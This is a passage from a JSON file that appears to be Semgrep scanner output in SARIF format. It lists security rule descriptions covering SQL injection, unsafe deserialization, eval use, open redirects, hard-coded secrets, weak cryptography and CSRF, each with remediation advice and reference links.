allow to create the SQL query in a safe way. If you cannot use it, make sure to check the value exists in an allowlist, such that no user-controllable value can influence the eventual SQL query."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Peewee provides a query builder which should allow to create the SQL query in a safe way. If you cannot use it, make sure to check the value exists in an allowlist, such that no user-controllable value can influence the eventual SQL query.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.db.peewee-fastapi.peewee-fastapi)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Peewee provides a query builder which should allow to create the SQL query in a safe way. If you cannot use it, make sure to check the value exists in an allowlist, such that no user-controllable value can influence the eventual SQL query."},"helpUri":"https://semgrep.dev/r/python.fastapi.db.peewee-fastapi.peewee-fastapi","id":"python.fastapi.db.peewee-fastapi.peewee-fastapi","name":"python.fastapi.db.peewee-fastapi.peewee-fastapi","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.db.peewee-fastapi.peewee-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found user-controllable input to Ruby reflection functionality. This allows a remote user to influence runtime behavior, up to and including arbitrary remote code execution. Do not provide user-controllable input to reflection functionality. Do not call symbol conversion on user-controllable input."},"help":{"markdown":"Found user-controllable input to Ruby reflection functionality. This allows a remote user to influence runtime behavior, up to and including arbitrary remote code execution. Do not provide user-controllable input to reflection functionality. Do not call symbol conversion on user-controllable input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.brakeman.check-unsafe-reflection.check-unsafe-reflection)\n - [https://github.com/presidentbeef/brakeman/blob/main/test/apps/rails2/app/controllers/application_controller.rb](https://github.com/presidentbeef/brakeman/blob/main/test/apps/rails2/app/controllers/application_controller.rb)\n","text":"Found user-controllable input to Ruby reflection functionality. This allows a remote user to influence runtime behavior, up to and including arbitrary remote code execution. Do not provide user-controllable input to reflection functionality. Do not call symbol conversion on user-controllable input."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.brakeman.check-unsafe-reflection.check-unsafe-reflection","id":"ruby.rails.security.brakeman.check-unsafe-reflection.check-unsafe-reflection","name":"ruby.rails.security.brakeman.check-unsafe-reflection.check-unsafe-reflection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.brakeman.check-unsafe-reflection.check-unsafe-reflection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Webviews were observed that do not disable access to application files. If the WebView does not require loading content from the local filesystem of the application, this setting should be disabled."},"help":{"markdown":"Webviews were observed that do not disable access to application files. If the WebView does not require loading content from the local filesystem of the application, this setting should be disabled.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.webview.webview-universal-fileaccess.swift-webview-config-allows-universal-file-access)\n - [https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/](https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/)\n","text":"Webviews were observed that do not disable access to application files. If the WebView does not require loading content from the local filesystem of the application, this setting should be disabled."},"helpUri":"https://semgrep.dev/r/swift.webview.webview-universal-fileaccess.swift-webview-config-allows-universal-file-access","id":"swift.webview.webview-universal-fileaccess.swift-webview-config-allows-universal-file-access","name":"swift.webview.webview-universal-fileaccess.swift-webview-config-allows-universal-file-access","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.webview.webview-universal-fileaccess.swift-webview-config-allows-universal-file-access"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Functions reliant on pickle can result in arbitrary code execution. Consider using fickling or switching to a safer serialization method"},"help":{"markdown":"Functions reliant on pickle can result in arbitrary code execution. Consider using fickling or switching to a safer serialization method\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.python.pickles-in-pandas.pickles-in-pandas)\n - [https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/](https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/)\n","text":"Functions reliant on pickle can result in arbitrary code execution. Consider using fickling or switching to a safer serialization method"},"helpUri":"https://semgrep.dev/r/trailofbits.python.pickles-in-pandas.pickles-in-pandas","id":"trailofbits.python.pickles-in-pandas.pickles-in-pandas","name":"trailofbits.python.pickles-in-pandas.pickles-in-pandas","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.python.pickles-in-pandas.pickles-in-pandas"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"CORS rule on bucket permits any origin"},"help":{"markdown":"CORS rule on bucket permits any origin\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.s3-cors-all-origins.all-origins-allowed)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket#using-cors](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket#using-cors)\n","text":"CORS rule on bucket permits any origin"},"helpUri":"https://semgrep.dev/r/terraform.lang.security.s3-cors-all-origins.all-origins-allowed","id":"terraform.lang.security.s3-cors-all-origins.all-origins-allowed","name":"terraform.lang.security.s3-cors-all-origins.all-origins-allowed","properties":{"precision":"very-high","tags":["CWE-942: Permissive Cross-domain Policy with Untrusted Domains","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.s3-cors-all-origins.all-origins-allowed"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"A prompt is created and user-controlled data reaches that prompt. This can lead to prompt injection. Make sure the user inputs are properly segmented from the system's in your prompts."},"help":{"markdown":"A prompt is created and user-controlled data reaches that prompt. This can lead to prompt injection. Make sure the user inputs are properly segmented from the system's in your prompts.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.ai.prompt-injection-flask.prompt-injection-flask)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"A prompt is created and user-controlled data reaches that prompt. This can lead to prompt injection. Make sure the user inputs are properly segmented from the system's in your prompts."},"helpUri":"https://semgrep.dev/r/python.flask.ai.prompt-injection-flask.prompt-injection-flask","id":"python.flask.ai.prompt-injection-flask.prompt-injection-flask","name":"python.flask.ai.prompt-injection-flask.prompt-injection-flask","properties":{"precision":"very-high","tags":["CWE-75: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.ai.prompt-injection-flask.prompt-injection-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The `redirect()` method does not check its destination in any way. If you redirect to a URL provided by end-users, your application may be open to the unvalidated redirects security vulnerability. Consider using literal values or an allowlist to validate URLs."},"help":{"markdown":"The `redirect()` method does not check its destination in any way. If you redirect to a URL provided by end-users, your application may be open to the unvalidated redirects security vulnerability. Consider using literal values or an allowlist to validate URLs.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.symfony.security.audit.symfony-non-literal-redirect.symfony-non-literal-redirect)\n - [https://symfony.com/doc/current/controller.html#redirecting](https://symfony.com/doc/current/controller.html#redirecting)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n","text":"The `redirect()` method does not check its destination in any way. If you redirect to a URL provided by end-users, your application may be open to the unvalidated redirects security vulnerability. Consider using literal values or an allowlist to validate URLs."},"helpUri":"https://semgrep.dev/r/php.symfony.security.audit.symfony-non-literal-redirect.symfony-non-literal-redirect","id":"php.symfony.security.audit.symfony-non-literal-redirect.symfony-non-literal-redirect","name":"php.symfony.security.audit.symfony-non-literal-redirect.symfony-non-literal-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: php.symfony.security.audit.symfony-non-literal-redirect.symfony-non-literal-redirect"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"QuerySet.extra' does not provide safeguards against SQL injection and requires very careful use. SQL injection can lead to critical data being stolen by attackers. Instead of using '.extra', use the Django ORM and parameterized queries such as `People.objects.get(name='Bob')`."},"help":{"markdown":"QuerySet.extra' does not provide safeguards against SQL injection and requires very careful use. SQL injection can lead to critical data being stolen by attackers. Instead of using '.extra', use the Django ORM and parameterized queries such as `People.objects.get(name='Bob')`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.query-set-extra.avoid-query-set-extra)\n - [https://docs.djangoproject.com/en/3.0/ref/models/querysets/#django.db.models.query.QuerySet.extra](https://docs.djangoproject.com/en/3.0/ref/models/querysets/#django.db.models.query.QuerySet.extra)\n - [https://semgrep.dev/blog/2020/preventing-sql-injection-a-django-authors-perspective/](https://semgrep.dev/blog/2020/preventing-sql-injection-a-django-authors-perspective/)\n","text":"QuerySet.extra' does not provide safeguards against SQL injection and requires very careful use. SQL injection can lead to critical data being stolen by attackers. Instead of using '.extra', use the Django ORM and parameterized queries such as `People.objects.get(name='Bob')`."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.query-set-extra.avoid-query-set-extra","id":"python.django.security.audit.query-set-extra.avoid-query-set-extra","name":"python.django.security.audit.query-set-extra.avoid-query-set-extra","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.query-set-extra.avoid-query-set-extra"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."},"help":{"markdown":"Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.security.eval-detected.eval-detected)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."},"helpUri":"https://semgrep.dev/r/javascript.browser.security.eval-detected.eval-detected","id":"javascript.browser.security.eval-detected.eval-detected","name":"javascript.browser.security.eval-detected.eval-detected","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.security.eval-detected.eval-detected"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The package `net/http/cgi` is on the import blocklist.  The package is vulnerable to httpoxy attacks (CVE-2015-5386). It is recommended to use `net/http` or a web framework to build a web application instead."},"help":{"markdown":"The package `net/http/cgi` is on the import blocklist.  The package is vulnerable to httpoxy attacks (CVE-2015-5386). It is recommended to use `net/http` or a web framework to build a web application instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.bad_imports.insecure-module-used)\n - [https://godoc.org/golang.org/x/crypto/sha3](https://godoc.org/golang.org/x/crypto/sha3)\n","text":"The package `net/http/cgi` is on the import blocklist.  The package is vulnerable to httpoxy attacks (CVE-2015-5386). It is recommended to use `net/http` or a web framework to build a web application instead."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.bad_imports.insecure-module-used","id":"go.lang.security.audit.crypto.bad_imports.insecure-module-used","name":"go.lang.security.audit.crypto.bad_imports.insecure-module-used","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.bad_imports.insecure-module-used"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `connection.query('SELECT $1 from table', [userinput])`"},"help":{"markdown":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `connection.query('SELECT $1 from table', [userinput])`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.mysql-sqli.mysql-sqli)\n - [https://www.npmjs.com/package/mysql2](https://www.npmjs.com/package/mysql2)\n","text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `connection.query('SELECT $1 from table', [userinput])`"},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.mysql-sqli.mysql-sqli","id":"javascript.aws-lambda.security.mysql-sqli.mysql-sqli","name":"javascript.aws-lambda.security.mysql-sqli.mysql-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.mysql-sqli.mysql-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-json.tainted-json)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://docs.python.org/3/library/json.html](https://docs.python.org/3/library/json.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended."},"helpUri":"https://semgrep.dev/r/python.lang.deserialization.tainted-json.tainted-json","id":"python.lang.deserialization.tainted-json.tainted-json","name":"python.lang.deserialization.tainted-json.tainted-json","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.deserialization.tainted-json.tainted-json"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using less than 128 bits for Blowfish is considered insecure. Use 128 bits or more, or switch to use AES instead."},"help":{"markdown":"Using less than 128 bits for Blowfish is considered insecure. Use 128 bits or more, or switch to use AES instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.blowfish-insufficient-key-size.blowfish-insufficient-key-size)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Using less than 128 bits for Blowfish is considered insecure. Use 128 bits or more, or switch to use AES instead."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.blowfish-insufficient-key-size.blowfish-insufficient-key-size","id":"java.lang.security.audit.blowfish-insufficient-key-size.blowfish-insufficient-key-size","name":"java.lang.security.audit.blowfish-insufficient-key-size.blowfish-insufficient-key-size","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.blowfish-insufficient-key-size.blowfish-insufficient-key-size"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `Kryo` unless you explicitly define permissions for types that are allowed to be deserialized by `Kryo`."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `Kryo` unless you explicitly define permissions for types that are allowed to be deserialized by `Kryo`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.kryo-deserialization-deepsemgrep.kryo-deserialization-deepsemgrep)\n - [https://github.com/EsotericSoftware/kryo](https://github.com/EsotericSoftware/kryo)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) We do not recommend deserializing untrusted data with the `Kryo` unless you explicitly define permissions for types that are allowed to be deserialized by `Kryo`."},"helpUri":"https://semgrep.dev/r/java.spring.security.kryo-deserialization-deepsemgrep.kryo-deserialization-deepsemgrep","id":"java.spring.security.kryo-deserialization-deepsemgrep.kryo-deserialization-deepsemgrep","name":"java.spring.security.kryo-deserialization-deepsemgrep.kryo-deserialization-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.kryo-deserialization-deepsemgrep.kryo-deserialization-deepsemgrep"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Potential arbitrary code execution, whatever is provided to `toFastProperties` is sent straight to eval()"},"help":{"markdown":"Potential arbitrary code execution, whatever is provided to `toFastProperties` is sent straight to eval()\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.bluebird.security.audit.tofastproperties-code-execution.tofastproperties-code-execution)\n - [http://bluebirdjs.com/docs/getting-started.html](http://bluebirdjs.com/docs/getting-started.html)\n","text":"Potential arbitrary code execution, whatever is provided to `toFastProperties` is sent straight to eval()"},"helpUri":"https://semgrep.dev/r/javascript.bluebird.security.audit.tofastproperties-code-execution.tofastproperties-code-execution","id":"javascript.bluebird.security.audit.tofastproperties-code-execution.tofastproperties-code-execution","name":"javascript.bluebird.security.audit.tofastproperties-code-execution.tofastproperties-code-execution","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.bluebird.security.audit.tofastproperties-code-execution.tofastproperties-code-execution"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.jdo.datanucleus.secrets.hardcoded-connection-password.hardcoded-connection-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n - [https://www.datanucleus.org/javadocs/api.jdo/5.0/org/datanucleus/api/jdo/JDOPersistenceManagerFactory.html](https://www.datanucleus.org/javadocs/api.jdo/5.0/org/datanucleus/api/jdo/JDOPersistenceManagerFactory.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/java.jdo.datanucleus.secrets.hardcoded-connection-password.hardcoded-connection-password","id":"java.jdo.datanucleus.secrets.hardcoded-connection-password.hardcoded-connection-password","name":"java.jdo.datanucleus.secrets.hardcoded-connection-password.hardcoded-connection-password","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: java.jdo.datanucleus.secrets.hardcoded-connection-password.hardcoded-connection-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found request data in an EmailMessage that is set to use HTML. This is dangerous because HTML emails are susceptible to XSS. An attacker could inject data into this HTML email, causing XSS."},"help":{"markdown":"Found request data in an EmailMessage that is set to use HTML. This is dangerous because HTML emails are susceptible to XSS. An attacker could inject data into this HTML email, causing XSS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.email.xss-html-email-body.xss-html-email-body)\n - [https://www.damonkohler.com/2008/12/email-injection.html](https://www.damonkohler.com/2008/12/email-injection.html)\n","text":"Found request data in an EmailMessage that is set to use HTML. This is dangerous because HTML emails are susceptible to XSS. An attacker could inject data into this HTML email, causing XSS."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.email.xss-html-email-body.xss-html-email-body","id":"python.django.security.injection.email.xss-html-email-body.xss-html-email-body","name":"python.django.security.injection.email.xss-html-email-body.xss-html-email-body","properties":{"precision":"very-high","tags":["CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.email.xss-html-email-body.xss-html-email-body"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application may convert user-controlled data into a JSON object, which can lead the decoder to consume considerable CPU and memory resources, potentially causing DoS (Denial of Service). The documentation for the `json` package recommends limiting the size of data to be parsed. "},"help":{"markdown":"The application may convert user-controlled data into a JSON object, which can lead the decoder to consume considerable CPU and memory resources, potentially causing DoS (Denial of Service). The documentation for the `json` package recommends limiting the size of data to be parsed. \n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-json-aws-lambda.tainted-json-aws-lambda)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://docs.python.org/3/library/json.html](https://docs.python.org/3/library/json.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into a JSON object, which can lead the decoder to consume considerable CPU and memory resources, potentially causing DoS (Denial of Service). The documentation for the `json` package recommends limiting the size of data to be parsed. "},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-json-aws-lambda.tainted-json-aws-lambda","id":"python.aws-lambda.deserialization.tainted-json-aws-lambda.tainted-json-aws-lambda","name":"python.aws-lambda.deserialization.tainted-json-aws-lambda.tainted-json-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-json-aws-lambda.tainted-json-aws-lambda"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.mongo.ruby-mongo-hardcoded-secret.ruby-mongo-hardcoded-secret)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/ruby.mongo.ruby-mongo-hardcoded-secret.ruby-mongo-hardcoded-secret","id":"ruby.mongo.ruby-mongo-hardcoded-secret.ruby-mongo-hardcoded-secret","name":"ruby.mongo.ruby-mongo-hardcoded-secret.ruby-mongo-hardcoded-secret","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.mongo.ruby-mongo-hardcoded-secret.ruby-mongo-hardcoded-secret"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"CSRF protection is disabled for this configuration. This is a security risk. Make sure that it is safe or consider setting `csrf_protection` property to `true`."},"help":{"markdown":"CSRF protection is disabled for this configuration. This is a security risk. Make sure that it is safe or consider 